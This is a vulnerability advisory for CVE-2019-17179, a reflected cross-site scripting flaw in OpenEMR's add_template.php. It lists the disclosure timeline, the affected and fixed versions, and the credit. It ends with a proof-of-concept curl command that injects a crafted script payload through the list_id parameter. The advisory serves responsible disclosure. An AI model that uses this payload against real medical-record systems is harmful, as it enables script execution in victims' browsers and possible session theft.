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CVE-2019-17179

XSS in library/custom_template/add_template.php in OpenEMR before 5.0.2.1 allows a malicious user to execute code in the context of a victim's browser via a crafted list_id query parameter.

Timeline

  • Discovered: October 1, 2019
  • Pull Request Issued: October 1, 2019
  • Reported: October 2, 2019
  • OpenEMR merged pull Request: October 2, 2019
  • CVE ID issued: October 4, 2019
  • OpenEMR Release: October 10, 2019 (5.0.2.1)

Version Details

Fixed-In Version: 5.0.2.1

Affected Versions:

  • 4.1.0
  • 4.1.1
  • 4.1.2
  • 4.1.2.3
  • 4.1.2.6
  • 4.1.2.7
  • 4.2.0
  • 4.2.1
  • 4.2.2
  • 5.0.0
  • 5.0.0.5
  • 5.0.0.6
  • 5.0.1
  • 5.0.1.1
  • 5.0.1.2
  • 5.0.1.3
  • 5.0.1.4
  • 5.0.1.5
  • 5.0.1.6
  • 5.0.1.7
  • 5.0.2

Credit

Will Porter, Lodestone Security (https://www.lodestonesecurity.com/)

References

Pull Request

POC Exploit

Assuming OpenEMR is running on localhost

curl "http://localhost/openemr/library/custom_template/add_template.php?list_id=1}});}}};alert(%27xss%27);function%20derp(){if%20(true){if(true){%20$.ajax({type:%22POST%22,data:{tempateid:%201"